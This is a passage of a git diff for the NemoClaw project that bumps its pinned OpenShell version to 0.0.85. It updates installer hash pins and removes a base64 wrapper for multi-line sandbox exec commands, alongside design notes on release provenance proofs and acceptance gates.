+This boundary deliberately does not fake fault injection. OpenShell exposes no
+hook that fails only `report_policy_status` while allowing policy polling and
+mutation to continue; stopping the gateway would conflate the reporting outage
+with loss of the source being polled. It likewise exposes no downstream control
+between individual required nft commands. Editing the installed table after
+startup would prove that NemoClaw can damage nft state, not that OpenShell handles
+a real command failure. The smallest honest missing proofs are upstream-injected
+report transport/construction failures and an nft executor that can fail each
+required command, followed by the physical Spark run. The Docker namespace has no
+routed non-loopback IPv6 address, so the candidate asserts the installed IPv6
+rejects structurally; routed IPv6 bypass behavior belongs in a platform fixture
+that actually configures IPv6. No OpenShell repository mutation is part of this
+NemoClaw work.
+
+## Stable release selected-driver and mount proof boundary
+
+The same stable MCP job prepares a second bounded proof only
+when `NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF=1`. A PATH wrapper delegates every
+operation to the hash-pinned release CLI and changes only `openshell sandbox
+create`: it adds one reviewed `--driver-config-json` value containing a tmpfs at
+`/tmp/nemoclaw-exact-main-driver-config`. Duplicate driver config is rejected.
+The helper is inactive outside that explicit lane, and NemoClaw's production
+onboard path still supplies no driver mounts.
+
+The proof does not treat successful onboarding as evidence by itself. It:
+
+1. Parses the actual mode-0600
+   `~/.local/state/nemoclaw/openshell-docker-gateway/openshell-gateway.toml`
+   with a TOML parser. It requires `compute_drivers = ["docker"]`, no unselected
+   driver table, the exact loopback endpoint and Docker network, the reviewed
+   supervisor image, the stable sandbox binary, TLS with client auth,
+   mTLS auth, sandbox JWT configuration, and unauthenticated users disabled.
+2. Resolves `/proc/<gateway-pid>/exe` and requires its SHA-256, plus the CLI and
+   standalone sandbox SHA-256 values, to match the exact-main provenance
+   record. Successful startup therefore proves that the final release gateway
+   parsed the file; an aggregate install test is not substituted.
+3. Reads the release gateway's actual sockets with `ss`. It requires both
+   `127.0.0.1:<port>` and the selected Docker network's IPv4 bridge
+   `<gateway-ip>:<port>`, rejects a wildcard listener owned by that process,
+   requires stable CLI sandbox listing over host mTLS, and requires a real
+   sandbox exec through the supervisor relay. The container must mount its
+   sandbox JWT and all three client-mTLS files read-only.
+4. Inspects the running Docker container. The test mount must be one structured
+   `Type=tmpfs` mount and must not appear in `HostConfig.Binds`, which is the
+   representation changed for SELinux-labelled bind mounts. Inside the sandbox,
+   `/proc/mounts` must report `tmpfs,noexec`, mode 01777, and a writable marker.
+5. Stops and recovers the actual host OpenShell gateway through NemoClaw. The
+   gateway PID must change, the rendered-config digest and sandbox container ID
+   must not, the release binary/listeners/auth path must still match, and both
+   the tmpfs marker and a Deep Agents durable-state marker must remain.
+6. Runs the existing managed MCP rebuild with the same test-only wrapper. A new
+   Docker container is required, the tmpfs must be mounted again with the same
+   representation/options but without its old volatile marker, and the backed-up
+   Deep Agents state marker must be restored. This distinguishes a fresh tmpfs
+   mount from an accidentally retained container.
+
+The proof is intentionally Linux amd64 Docker-bridge evidence. It does not
+isolate Docker Desktop/Colima, WSL, DGX Spark's Docker 27 host-gateway route,
+Podman, IPv6 bridge routing, or an enforcing-SELinux host. The reviewed upstream
+SELinux change applies to bind mounts; this fixture neither enables bind mounts
+nor requests `selinux_label`, so it proves that the consumed tmpfs path remains
+on the unaffected structured-mount branch, not that SELinux relabelling works.
+Those platform claims need their own real hosts.
+
+Legacy upgrade is also separate. This stable release lane starts with a fresh
+gateway/config/database so every observed process can be tied to the release
+provenance. The existing stable gateway-upgrade test starts an old gateway,
+but cannot be cited as fresh-release identity evidence. An honest legacy proof
+must seed a supported old gateway and database, replace all three components with
+the final release artifacts, then repeat the listener/auth/state checks above.
+Mixing that old binary into this stable identity lane would invalidate the
+claim it is designed to make.
+
+## Test-selection and false-green audit
+
+The moving-development MCP workflow currently classifies an OpenShell version
+different from the versioned child-visible credential manifest as an expected
+compatibility rejection, records the classification as passed, and does not run
+the full managed MCP lifecycle. That is correct fail-closed behavior for an
+unreviewed development runtime, but it is not evidence that the candidate is
+compatible.
+
+Before any `0.0.85` selector can be called green, the credential manifest and all
+of its imports/image copies must identify the stable tag, the default stable job
+must run without compatibility branching, and all three agents must complete
+registration, credential rotation, DNS-rebinding denial, policy denial, real tool
+invocation,
+restart/rebuild, and cleanup without a conditional skip or expected failure.
+
+## Final acceptance gates
+
+1. The structured manifest and sandbox-build-map prerequisites landed as #6778
+   and #6779 while runtime selectors remained `0.0.72`; their base-owned parser
+   rejects operational installer drift and permits only validated release-data
+   and selector changes. Exact `0.0.85` manifest trust landed separately as
+   #7069. This selector PR must be based on `main` containing that trust and
+   pass the base-owned checker.
+2. Stable tag `v0.0.85` contains the required fail-closed credential fix and all
+   13 adjacent ranges above, including the unpublished `v0.0.84` source boundary.
+3. The tag has successful release publication run 29507522595. Every consumed
+   archive is bound to that producer/source through exact release digests and
+   SLSA attestations, and the OCI index/children are immutable. Missing upstream
+   image attestation/SBOM/source labels and incomplete notices remain recorded
+   provenance and attribution limitations rather than false-green evidence.
+4. Blueprint bounds, installer tables, Brev defaults, workflow pins, feature-gate
+   hashes, supervisor digest, credential manifest, tests, and active docs select
+   one coherent version.
+5. Every concern-specific unit/integration proof above passes, followed by normal
+   repository checks and exact-head CI/advisor review.
+6. #7055 landed the controller-compatible legacy gateway evidence matrix. The
+   exact-head, non-skipped live matrix must still pass on Linux x86 Docker,
+   macOS Docker Desktop/Colima, WSL, Colossus, and physical DGX Spark arm64;
+   legacy gateway upgrade, restart, rollback, and teardown remain explicit
+   phases.
+7. The physical #6379 Spark run completes an authenticated real MCP tool call and
+   reports any failure honestly. Inclusion of `40194f93` alone cannot close the
+   issue.
diff --git a/nemoclaw-blueprint/blueprint.yaml b/nemoclaw-blueprint/blueprint.yaml
index 87b5c3ecfd..ea06893b29 100644
--- a/nemoclaw-blueprint/blueprint.yaml
+++ b/nemoclaw-blueprint/blueprint.yaml
@@ -3,8 +3,8 @@
 
 version: "0.1.0"
 # Requires OpenShell MCP/JSON-RPC L7 policy support from NVIDIA/OpenShell#1865.
-min_openshell_version: "0.0.72"
-max_openshell_version: "0.0.72"
+min_openshell_version: "0.0.85"
+max_openshell_version: "0.0.85"
 min_openclaw_version: "2026.3.11"
 # Mirrors the components.sandbox.image manifest digest below. Lets a
 # downstream consumer (or release tooling) verify the blueprint declares
diff --git a/nemoclaw/src/blueprint/runner.ts b/nemoclaw/src/blueprint/runner.ts
index ba7b488411..58c85ca775 100644
--- a/nemoclaw/src/blueprint/runner.ts
+++ b/nemoclaw/src/blueprint/runner.ts
@@ -358,7 +358,7 @@ function mergePolicyAdditions(currentPolicyRaw: string, additions: PolicyAdditio
   const existingNetworkPolicies = current.network_policies ?? {};
   const output: UnknownRecord = {};
 
-  // Stable OpenShell 0.0.72 exposes composable top-level policy sections as
+  // OpenShell 0.0.72 and later expose composable top-level policy sections as
   // mappings. Preserve unknown mapping sections for forward compatibility, but
   // fail closed on a scalar or sequence until its mutation semantics are
   // reviewed for the next supported OpenShell contract.
diff --git a/nemoclaw/src/shared/openshell-policy-boundary.cts b/nemoclaw/src/shared/openshell-policy-boundary.cts
index 1fabc0f4fc..5f1c0c107f 100644
--- a/nemoclaw/src/shared/openshell-policy-boundary.cts
+++ b/nemoclaw/src/shared/openshell-policy-boundary.cts
@@ -100,7 +100,7 @@ export function parseOpenShellPolicy(raw: string): ParsedOpenShellPolicy {
 // regressionTest: the root policy round-trip and plugin runner policy tests.
 // removalCondition: OpenShell's supported base-policy contract guarantees that
 // provider-composed entries are absent from every mutation read.
-// tracking: revalidate this guard at every stable OpenShell pin after 0.0.72.
+// tracking: revalidated for stable OpenShell 0.0.85; revalidate after 0.0.85.
 export function withoutProviderComposedPolicies<T>(policies: Record<string, T>): Record<string, T> {
   return Object.fromEntries(
     Object.entries(policies).filter(([name]) => !name.startsWith("_provider_")),
diff --git a/scripts/brev-launchable-ci-cpu.sh b/scripts/brev-launchable-ci-cpu.sh
index ef089135e7..6a1b65a57a 100755
--- a/scripts/brev-launchable-ci-cpu.sh
+++ b/scripts/brev-launchable-ci-cpu.sh
@@ -73,7 +73,7 @@ assert_openshell_version() {
 if [ -z "$OPENSHELL_VERSION" ]; then
   case "${NEMOCLAW_OPENSHELL_CHANNEL:-stable}" in
     dev) OPENSHELL_VERSION="dev" ;;
-    stable | auto) OPENSHELL_VERSION="v0.0.72" ;;
+    stable | auto) OPENSHELL_VERSION="v0.0.85" ;;
     *) fail "NEMOCLAW_OPENSHELL_CHANNEL must be one of: stable, dev, auto" ;;
   esac
 fi
@@ -148,11 +148,11 @@ openshell_cli_asset_for_arch() {
 openshell_cli_pinned_sha256() {
   local release_tag="$1" asset="$2"
   case "${release_tag}:${asset}" in
-    v0.0.72:openshell-x86_64-unknown-linux-musl.tar.gz)
-      printf '%s\n' "37836c3b50383e03249c5e16512c1806e591fba8451408a84fb2f628ddb318c4"
+    v0.0.85:openshell-x86_64-unknown-linux-musl.tar.gz)
+      printf '%s\n' "078fa086f506832c3d47d992e6109f26074bdd55916ce268e47c3971423459eb"
       ;;
-    v0.0.72:openshell-aarch64-unknown-linux-musl.tar.gz)
-      printf '%s\n' "a5ff01a3240d73c72ec1700eda6cc6c752a86cf50c5dd1b5bdc459f544d03045"
+    v0.0.85:openshell-aarch64-unknown-linux-musl.tar.gz)
+      printf '%s\n' "3cf353e7994d5835a233fe0641f9a860779190b054d0f90a04c897be782734b8"
       ;;
     *)
       return 1
diff --git a/scripts/checks/extract-installer-pins.mts b/scripts/checks/extract-installer-pins.mts
index 2e897b4bca..bddc0163d3 100644
--- a/scripts/checks/extract-installer-pins.mts
+++ b/scripts/checks/extract-installer-pins.mts
@@ -174,7 +174,7 @@ function assertExactAssetSet(
 // whyNotSourceFix: OpenShell can attest its release but cannot keep NemoClaw's
 // blueprint, installer selector, Brev selector, and embedded tables coherent.
 // regressionTest: test/installer-hash-check.test.ts moves all runtime consumers
-// to 0.0.82 while leaving both valid pin tables at 0.0.72 and requires failure.
+// to 0.0.85 while leaving both valid pin tables at 0.0.72 and requires failure.
 // removalCondition: remove these comparisons only when one base-trusted,
 // machine-readable pin manifest directly drives every runtime consumer.
 function extractSingleVersion(
diff --git a/scripts/install-openshell.sh b/scripts/install-openshell.sh
index 0c0bf559eb..3e7c6d5f61 100755
--- a/scripts/install-openshell.sh
+++ b/scripts/install-openshell.sh
@@ -37,16 +37,16 @@ info "Detected $OS_LABEL ($ARCH_LABEL)"
 # round-trippable base policies: WebSocket text frames, provider-shaped
 # aliases, REST request bodies, MCP/JSON-RPC L7 enforcement, and
 # `policy get --base` for MCP/JSON-RPC-safe read-modify-write operations.
-MIN_VERSION="0.0.72"
+MIN_VERSION="0.0.85"
 # Maximum version validated for this NemoClaw release. Newer OpenShell builds
 # may change sandbox semantics; upgrade NemoClaw before upgrading past this.
-MAX_VERSION="0.0.72"
+MAX_VERSION="0.0.85"
 # Pin fresh installs to this version. The TS installer normally overrides this
 # via NEMOCLAW_OPENSHELL_PIN_VERSION after resolving the highest published
 # OpenShell release that satisfies the blueprint's max_openshell_version
 # (see #3404). The hardcoded value is the fallback for offline runs.
 PIN_VERSION="$MAX_VERSION"
-DEV_MIN_VERSION="0.0.72"
+DEV_MIN_VERSION="0.0.85"
 
 CHANNEL="${NEMOCLAW_OPENSHELL_CHANNEL:-auto}"
 case "$CHANNEL" in
@@ -140,29 +140,29 @@ fi
 openshell_pinned_sha256() {
   local release_tag="$1" asset="$2"
   case "${release_tag}:${asset}" in
-    v0.0.72:openshell-x86_64-unknown-linux-musl.tar.gz)
-      printf '%s\n' "37836c3b50383e03249c5e16512c1806e591fba8451408a84fb2f628ddb318c4"
+    v0.0.85:openshell-x86_64-unknown-linux-musl.tar.gz)
+      printf '%s\n' "078fa086f506832c3d47d992e6109f26074bdd55916ce268e47c3971423459eb"
       ;;
-    v0.0.72:openshell-aarch64-unknown-linux-musl.tar.gz)
-      printf '%s\n' "a5ff01a3240d73c72ec1700eda6cc6c752a86cf50c5dd1b5bdc459f544d03045"
+    v0.0.85:openshell-aarch64-unknown-linux-musl.tar.gz)
+      printf '%s\n' "3cf353e7994d5835a233fe0641f9a860779190b054d0f90a04c897be782734b8"
       ;;
-    v0.0.72:openshell-aarch64-apple-darwin.tar.gz)
-      printf '%s\n' "117b5354cc42d80bc4d5e070ea5ac4e341208ff6d3c29b516d8a9c80e2310f8d"
+    v0.0.85:openshell-aarch64-apple-darwin.tar.gz)
+      printf '%s\n' "522c963f9515c7325b978e89022de76227ac245eefe1371292af1424434e2067"
       ;;
-    v0.0.72:openshell-gateway-x86_64-unknown-linux-gnu.tar.gz)
-      printf '%s\n' "03225fb9388b682af1a5f1614b26b75f828da6031e3ffc1fd920b6fbe5f70877"
+    v0.0.85:openshell-gateway-x86_64-unknown-linux-gnu.tar.gz)
+      printf '%s\n' "718cc9f942f88565cacb13c39717b128d6acc8d336212d42d26243f36ab19ece"
       ;;
-    v0.0.72:openshell-gateway-aarch64-unknown-linux-gnu.tar.gz)
-      printf '%s\n' "a97dcb3acb04fb2d1170c1a2170228990c2337e25bb8c18817e5a6e952204108"
+    v0.0.85:openshell-gateway-aarch64-unknown-linux-gnu.tar.gz)
+      printf '%s\n' "09f2823f6e9c5f70f4482b200206eac455d789618da4ebe4acff042d794e7162"
       ;;
-    v0.0.72:openshell-gateway-aarch64-apple-darwin.tar.gz)
-      printf '%s\n' "8c07362107393eb5f4ae4b9ee9f4257fd53862c51ad8dd96f2fe31bb6d8d7ffb"
+    v0.0.85:openshell-gateway-aarch64-apple-darwin.tar.gz)
+      printf '%s\n' "5de3e08ad1bdb0cdd01373999f537edca3d8aca22ae1c29bc9926969fe401e45"
       ;;
-    v0.0.72:openshell-sandbox-x86_64-unknown-linux-gnu.tar.gz)
-      printf '%s\n' "811f914b6a6a3a3f4533449ddebebb6422333861a27a5fa848db6cbfdffdd230"
+    v0.0.85:openshell-sandbox-x86_64-unknown-linux-gnu.tar.gz)
+      printf '%s\n' "94306f057d862cd5c34a0daa7692491733bc5ca528a7b92f9f62f717fb70a9be"
       ;;
-    v0.0.72:openshell-sandbox-aarch64-unknown-linux-gnu.tar.gz)
-      printf '%s\n' "2cf62cbd651e55d0f8750804e2b4025e0d6c8eea4564c87cda47a2c922941db0"
+    v0.0.85:openshell-sandbox-aarch64-unknown-linux-gnu.tar.gz)
+      printf '%s\n' "2c52b2971aecf125e41ed160d8d2f2addf04031906ca88f120ae3d436dd6b8f7"
       ;;
     *)
       return 1
@@ -280,6 +280,16 @@ pinned_sandbox_build_version() {
       32ca44fe7d9e6d332f2a753c6b8a1a6117b7388281dad9b5274d23ffc67e216f)
       printf '%s\n' "0.0.72"
       ;;
+    # OpenShell v0.0.82 standalone sandbox binaries.
+    145246049bd73c60452ac3c2b4b1801663196c8e2f80575af820289c78c1cf09 | \
+      76bc19b70d9f1e1e9871307045796cd39cc7b8fc4c08ffc90593cc934f36d500)
+      printf '%s\n' "0.0.82"
+      ;;
+    # OpenShell v0.0.85 standalone sandbox binaries.
+    863ef21ab7ef623f5e7a8728c4e5532b46bfbae3ace3b800665a1c6353a1f7d2 | \
+      680115dbc2affde0e88261ab09f4044726d1cc9e01de55dc5077d1118f52968d)
+      printf '%s\n' "0.0.85"
+      ;;
     *)
       return 1
       ;;
diff --git a/scripts/update-hermes-agent.sh b/scripts/update-hermes-agent.sh
index 820bb8b29f..87411c4334 100755
--- a/scripts/update-hermes-agent.sh
+++ b/scripts/update-hermes-agent.sh
@@ -201,7 +201,7 @@ installed_copy_schema_error() {
       "COPY agents/hermes/build-mcp-digest.py /usr/local/lib/nemoclaw/build-hermes-mcp-digest.py" \
       "/opt/hermes/.venv/bin/python -I /usr/local/lib/nemoclaw/build-hermes-mcp-digest.py --guard /usr/local/lib/nemoclaw/hermes-runtime-config-guard.py" \
       "hermes-mcp-config-transaction.py" \
-      "openshell-child-visible-credentials.v0.0.72.json" \
+      "openshell-child-visible-credentials.v0.0.85.json" \
       "HERMES_HOME=/sandbox/.hermes /usr/local/bin/hermes doctor --fix" \
       "node --experimental-strip-types /opt/nemoclaw-hermes-config/generate-config.ts" \
       "/sandbox/.hermes/dashboard-home"; do
diff --git a/src/commands/sandbox/exec.test.ts b/src/commands/sandbox/exec.test.ts
index 73b1a536d6..05a0c8522c 100644
--- a/src/commands/sandbox/exec.test.ts
+++ b/src/commands/sandbox/exec.test.ts
@@ -112,10 +112,9 @@ describe("SandboxExecCommand oclif parse path", () => {
     });
   });
 
-  it("forwards a multi-line heredoc command verbatim to the action guard (#5980)", async () => {
-    // The command layer forwards argv unchanged; execSandbox() applies the
-    // newline guard (exit 2 before dispatch), which is asserted directly in the
-    // action test. Here we pin that the heredoc reaches the action intact.
+  it("forwards a multi-line heredoc command verbatim to the action", async () => {
+    // The action dispatches this exact argument through OpenShell. Its
+    // byte-preserving boundary is asserted directly in the action test.
     const heredoc = "cat <<EOF\nline1\nline2\nEOF";
     await SandboxExecCommand.run(["alpha", "--", "bash", "-lc", heredoc], rootDir);
     expect(execSandboxMock).toHaveBeenCalledWith("alpha", ["bash", "-lc", heredoc], {
@@ -126,10 +125,7 @@ describe("SandboxExecCommand oclif parse path", () => {
     });
   });
 
-  it("forwards the semicolon workaround to dispatch (#5980)", async () => {
-    // Mirrors the action-layer "forwards the semicolon workaround to dispatch"
-    // test: the single-line semicolon-joined command carries no newline, so the
-    // command layer hands it to execSandbox() unchanged, which then dispatches.
+  it("forwards a semicolon-joined command unchanged", async () => {
     await SandboxExecCommand.run(["alpha", "--", "bash", "-lc", "echo line1; echo line2"], rootDir);
     expect(execSandboxMock).toHaveBeenCalledWith(
       "alpha",
@@ -138,7 +134,7 @@ describe("SandboxExecCommand oclif parse path", () => {
     );
   });
 
-  it("preserves --workdir and forwards a single-line command unchanged (#5980)", async () => {
+  it("preserves --workdir and forwards a single-line command unchanged", async () => {
     await SandboxExecCommand.run(
       ["alpha", "--workdir", "/sandbox", "--", "bash", "-lc", "echo line1; echo line2"],
       rootDir,
diff --git a/src/commands/sandbox/exec.ts b/src/commands/sandbox/exec.ts
index f79eb5165e..183062dfdb 100644
--- a/src/commands/sandbox/exec.ts
+++ b/src/commands/sandbox/exec.ts
@@ -10,7 +10,7 @@ export default class SandboxExecCommand extends NemoClawCommand {
   static strict = false;
   static summary = "Run a command non-interactively in a running sandbox";
   static description =
-    "Run a single command inside a running sandbox via the OpenShell exec endpoint. The command runs as the sandbox user (HOME=/sandbox) and exits with the remote command's exit code. Use `--` to separate exec options from the user command. Stdin is inherited by default only when it is a terminal; pass `--stdin` to forward an intentional pipe.";
+    "Run a single command inside a running sandbox via the OpenShell exec endpoint. The command runs as the sandbox user (HOME=/sandbox) and exits with the remote command's exit code. Use `--` to separate exec options from the user command; arguments after it preserve embedded line endings and quotes. NUL bytes are rejected, and `--workdir` must remain single-line. Stdin is inherited by default only when it is a terminal; pass `--stdin` to forward an intentional pipe.";
   static usage = [
     "<name> [--workdir <dir>] [--tty|--no-tty] [--timeout <s>] [--stdin|--no-stdin] -- <cmd> [args...]",
   ];
diff --git a/src/lib/actions/sandbox/auto-pair-approval.test.ts b/src/lib/actions/sandbox/auto-pair-approval.test.ts
index a918ae3b59..2693cf9d43 100644
--- a/src/lib/actions/sandbox/auto-pair-approval.test.ts
+++ b/src/lib/actions/sandbox/auto-pair-approval.test.ts
@@ -11,7 +11,6 @@ import {
   AUTO_PAIR_MAX_APPROVALS,
   buildAutoPairApprovalScript,
   readAutoPairApprovalPolicyModule,
-  wrapSandboxShellScript,
 } from "./auto-pair-approval";
 
 const SUMMARY_MARKER = "__NEMOCLAW_AUTO_PAIR_APPROVED__";
@@ -51,24 +50,6 @@ describe("buildAutoPairApprovalScript (#4263/#4616)", () => {
   });
 });
 
-describe("wrapSandboxShellScript (#4616)", () => {
-  it("encodes a multi-line payload onto a single newline-free line", () => {
-    const wrapped = wrapSandboxShellScript("echo one\necho two\n");
-    expect(wrapped).not.toMatch(/[\n\r]/);
-    expect(wrapped).toContain("base64 -d");
-    expect(wrapped).toContain("mktemp");
-  });
-
-  it("round-trips and preserves the inner exit status when run", () => {
-    const inner = "echo line-one\nprintf 'exit-then\\n'\nexit 3\n";
-    const wrapped = wrapSandboxShellScript(inner);
-    const result = spawnSync("sh", ["-c", wrapped], { encoding: "utf-8", timeout: 10_000 });
-    expect(result.stdout).toContain("line-one");
-    expect(result.stdout).toContain("exit-then");
-    expect(result.status).toBe(3);
-  });
-});
-
 describe("auto-pair approval pass behaviour (#4616)", () => {
   it("approves allowlisted upgrades, skips unknown clients, and reports the count", () => {
     if (spawnSync("sh", ["-c", "command -v python3"], { stdio: "ignore" }).status !== 0) {
diff --git a/src/lib/actions/sandbox/auto-pair-approval.ts b/src/lib/actions/sandbox/auto-pair-approval.ts
index f86c907336..7c011b64b3 100644
--- a/src/lib/actions/sandbox/auto-pair-approval.ts
+++ b/src/lib/actions/sandbox/auto-pair-approval.ts
@@ -82,27 +82,6 @@ export type AutoPairApprovalResult = {
   approved: number;
 };
 
-/**
- * Wrap a multi-line shell payload so it survives `openshell sandbox exec`.
- *
- * OpenShell's exec RPC rejects any argument containing a newline or carriage
- * return ("command argument N contains newline or carriage return characters"),
- * so a multi-line `sh -c <script>` is refused outright. We base64-encode the
- * payload onto a single line, decode it to a temp file inside the sandbox, and
- * run that file — preserving heredocs and the original exit status. `base64`
- * from Node is unwrapped (no embedded newlines) and uses only shell-safe
- * characters, so it is safe inside single quotes. This mirrors the
- * base64-then-decode pattern the E2E harness uses for the same reason.
- */
-export function wrapSandboxShellScript(script: string): string {
-  const encoded = Buffer.from(script, "utf-8").toString("base64");
-  return (
-    `__nemoclaw_s="$(mktemp)" && ` +
-    `printf %s '${encoded}' | base64 -d > "$__nemoclaw_s" && ` +
-    `sh "$__nemoclaw_s"; __nemoclaw_rc=$?; rm -f "$__nemoclaw_s"; exit "$__nemoclaw_rc"`
-  );
-}
-
 export function readAutoPairApprovalPolicyModule(): string | null {
   try {
     return readFileSync(AUTO_PAIR_POLICY_PATH, "utf-8");
@@ -239,7 +218,7 @@ export function runSandboxAutoPairApprovalPass(
   try {
     const result = spawnSync(
       getOpenshellBinary(),
-      ["sandbox", "exec", "--name", sandboxName, "--", "sh", "-c", wrapSandboxShellScript(script)],
+      ["sandbox", "exec", "--name", sandboxName, "--", "sh", "-c", script],
       {
         cwd: ROOT,
         env: process.env,
diff --git a/src/lib/actions/sandbox/auto-pair-warmup.test.ts b/src/lib/actions/sandbox/auto-pair-warmup.test.ts
index d0c8e4c2a7..b41efbe372 100644
--- a/src/lib/actions/sandbox/auto-pair-warmup.test.ts
+++ b/src/lib/actions/sandbox/auto-pair-warmup.test.ts
@@ -4,7 +4,6 @@
 import { spawnSync } from "node:child_process";
 import { describe, expect, it } from "vitest";
 
-import { wrapSandboxShellScript } from "./auto-pair-approval";
 import { WARMUP_SCRIPT, WARMUP_TIMEOUT_MS } from "./auto-pair-warmup";
 import { WARMUP_SESSION_ID_PREFIX } from "./warmup-session";
 
@@ -42,37 +41,25 @@ describe("scope-upgrade warm-up timeout bound v2 (#4504)", () => {
   });
 });
 
-describe("warm-up payload survives OpenShell exec in v2 (#4504)", () => {
-  // The leaf wraps its in-sandbox script with the shared `wrapSandboxShellScript`
-  // (OpenShell exec rejects newline-bearing args). These cases pin that wrapper
-  // contract — the exact mechanism the warm-up exec relies on — without needing
-  // the un-mockable lazy require.
-  it("encodes a multi-line warm-up-shaped payload onto a single newline-free line", () => {
-    const warmupShaped = [
-      "command -v openclaw >/dev/null 2>&1 || exit 0",
-      'openclaw agent --agent main -m "ping" \\',
-      `  --session-id "${WARMUP_SESSION_ID_PREFIX}$$-$(date +%s)" >/dev/null 2>&1 || true`,
-      "exit 0",
-      "",
-    ].join("\n");
-    const wrapped = wrapSandboxShellScript(warmupShaped);
-    expect(wrapped).not.toMatch(/[\n\r]/);
-    expect(wrapped).toContain("base64 -d");
-    expect(wrapped).toContain("mktemp");
+describe("warm-up payload uses native multiline OpenShell exec in v2 (#4504)", () => {
+  it("keeps the real warm-up as one multiline command argument", () => {
+    expect(WARMUP_SCRIPT).toContain("\n");
+    expect(WARMUP_SCRIPT).toContain("command -v openclaw");
+    expect(WARMUP_SCRIPT).not.toContain("base64 -d");
+    expect(WARMUP_SCRIPT).not.toContain("mktemp");
   });
 
   const shAvailable = spawnSync("sh", ["-c", "exit 0"], { encoding: "utf-8" }).status === 0;
   const itWithSh = shAvailable ? it : it.skip;
 
-  itWithSh("round-trips a warm-up-shaped payload and preserves its exit-0 status when run", () => {
+  itWithSh("runs a multiline warm-up-shaped payload and preserves its exit-0 status", () => {
     // Mirror the real warm-up: the provoke command itself may "fail" (the agent
     // falls back to embedded mode), but `|| true` + trailing `exit 0` mean the
     // wrapped script always exits 0 — so a failed provoke never surfaces as a
     // nonzero status to the onboard path. Use `false` to stand in for the failing
     // openclaw run.
     const inner = ["false || true", "exit 0", ""].join("\n");
-    const wrapped = wrapSandboxShellScript(inner);
-    const result = spawnSync("sh", ["-c", wrapped], { encoding: "utf-8", timeout: 10_000 });
+    const result = spawnSync("sh", ["-c", inner], { encoding: "utf-8", timeout: 10_000 });
     expect(result.status).toBe(0);
   });
 });
diff --git a/src/lib/actions/sandbox/auto-pair-warmup.ts b/src/lib/actions/sandbox/auto-pair-warmup.ts
index ebccf488c0..9251803432 100644
--- a/src/lib/actions/sandbox/auto-pair-warmup.ts
+++ b/src/lib/actions/sandbox/auto-pair-warmup.ts
@@ -37,7 +37,6 @@
 import { spawnSync } from "node:child_process";
 
 import { ROOT } from "../../state/paths";
-import { wrapSandboxShellScript } from "./auto-pair-approval";
 import { WARMUP_SESSION_ID_PREFIX } from "./warmup-session";
 
 // Outer spawnSync cap (ms) for the throwaway warm-up agent run. The `-m`
@@ -147,16 +146,7 @@ export function runSandboxScopeWarmupRun(sandboxName: string): void {
     if (!openshellBinary) return;
     spawnSync(
       openshellBinary,
-      [
-        "sandbox",
-        "exec",
-        "--name",
-        sandboxName,
-        "--",
-        "sh",
-        "-c",
-        wrapSandboxShellScript(WARMUP_SCRIPT),
-      ],
+      ["sandbox", "exec", "--name", sandboxName, "--", "sh", "-c", WARMUP_SCRIPT],
       {
         cwd: ROOT,
         env: process.env,
diff --git a/src/lib/actions/sandbox/destroy-gateway.ts b/src/lib/actions/sandbox/destroy-gateway.ts
index f5d2b02efc..df6921ace2 100644
--- a/src/lib/actions/sandbox/destroy-gateway.ts
+++ b/src/lib/actions/sandbox/destroy-gateway.ts
@@ -143,7 +143,7 @@ export function cleanupGatewayAfterLastSandbox(
    * remove and remove-nonzero fallback while preserving Docker-volume cleanup.
    * Removal condition: remove the fallback when every supported recovery and
    * teardown entry point upgrades OpenShell to the blueprint minimum (currently
-   * 0.0.72) before this function can run.
+   * 0.0.85) before this function can run.
    *
    * macOS previously ran only `gateway destroy`, which current OpenShell
    * rejects as an unrecognized subcommand (#6569). The host-process stop above
diff --git a/src/lib/actions/sandbox/doctor.ts b/src/lib/actions/sandbox/doctor.ts
index b6abbbde3a..e739f0a4f9 100644
--- a/src/lib/actions/sandbox/doctor.ts
+++ b/src/lib/actions/sandbox/doctor.ts
@@ -23,7 +23,7 @@ import * as sandboxVersion from "../../sandbox/version";
 import * as shields from "../../shields";
 import type { SandboxEntry } from "../../state/registry";
 import * as registry from "../../state/registry";
-import { runSandboxAutoPairApprovalPass, wrapSandboxShellScript } from "./auto-pair-approval";
+import { runSandboxAutoPairApprovalPass } from "./auto-pair-approval";
 import { buildConfigPermsCheck } from "./doctor-config-perms";
 import { captureHostCommand } from "./doctor-host-command";
 import { collectInferenceChecks, type DoctorInferenceRoute } from "./doctor-inference";
@@ -378,8 +378,7 @@ function collectToolScopeChecks(
 ): DoctorCheck[] {
   if (!sb || !sandboxReachable || (sb.agent ?? "openclaw") !== "openclaw") return [];
   return buildToolScopeChecks(sandboxName, CLI_NAME, wantsFix, {
-    exec: (name, script) =>
-      executeSandboxCommandForVerification(name, wrapSandboxShellScript(script)),
+    exec: (name, script) => executeSandboxCommandForVerification(name, script),
     runApprovalPass: (name) => {
       const result = runSandboxAutoPairApprovalPass(name, { capture: true });
       return { reported: result.reported, approved: result.approved };
diff --git a/src/lib/actions/sandbox/exec-policy-hint-detection.ts b/src/lib/actions/sandbox/exec-policy-hint-detection.ts
index 1826d67c19..cd3ebdc590 100644
--- a/src/lib/actions/sandbox/exec-policy-hint-detection.ts
+++ b/src/lib/actions/sandbox/exec-policy-hint-detection.ts
@@ -93,7 +93,7 @@ function isStructuredProxyPolicyDenialDetail(detail: string): boolean {
 // - Removal condition: delete this fallback when OpenShell provides a typed
 //   exec-denial result. Until then, require both the exact error code and the
 //   complete safely bounded CONNECT or forward-HTTP detail so unrelated JSON
-//   cannot match. The forward forms mirror OpenShell v0.0.72's endpoint, path,
+//   cannot match. The forward forms mirror OpenShell v0.0.85's endpoint, path,
 //   and L7 policy denial messages.
 function firstJsonObject(line: string): string | null {
   const start = line.indexOf("{");
diff --git a/src/lib/actions/sandbox/exec.multiline-argv.test.ts b/src/lib/actions/sandbox/exec.multiline-argv.test.ts
new file mode 100644
index 0000000000..c90772500c
--- /dev/null
+++ b/src/lib/actions/sandbox/exec.multiline-argv.test.ts
@@ -0,0 +1,201 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawn } from "node:child_process";
+import { EventEmitter } from "node:events";
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+// The default exec runner shells out via spawn and chooses whether to inherit
+// or ignore stdin. Mock node:child_process so the tests can assert that wiring
+// at the execSandbox boundary without spawning a real process. Every other test
+// injects a runner/probe seam.
+vi.mock("node:child_process", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("node:child_process")>();
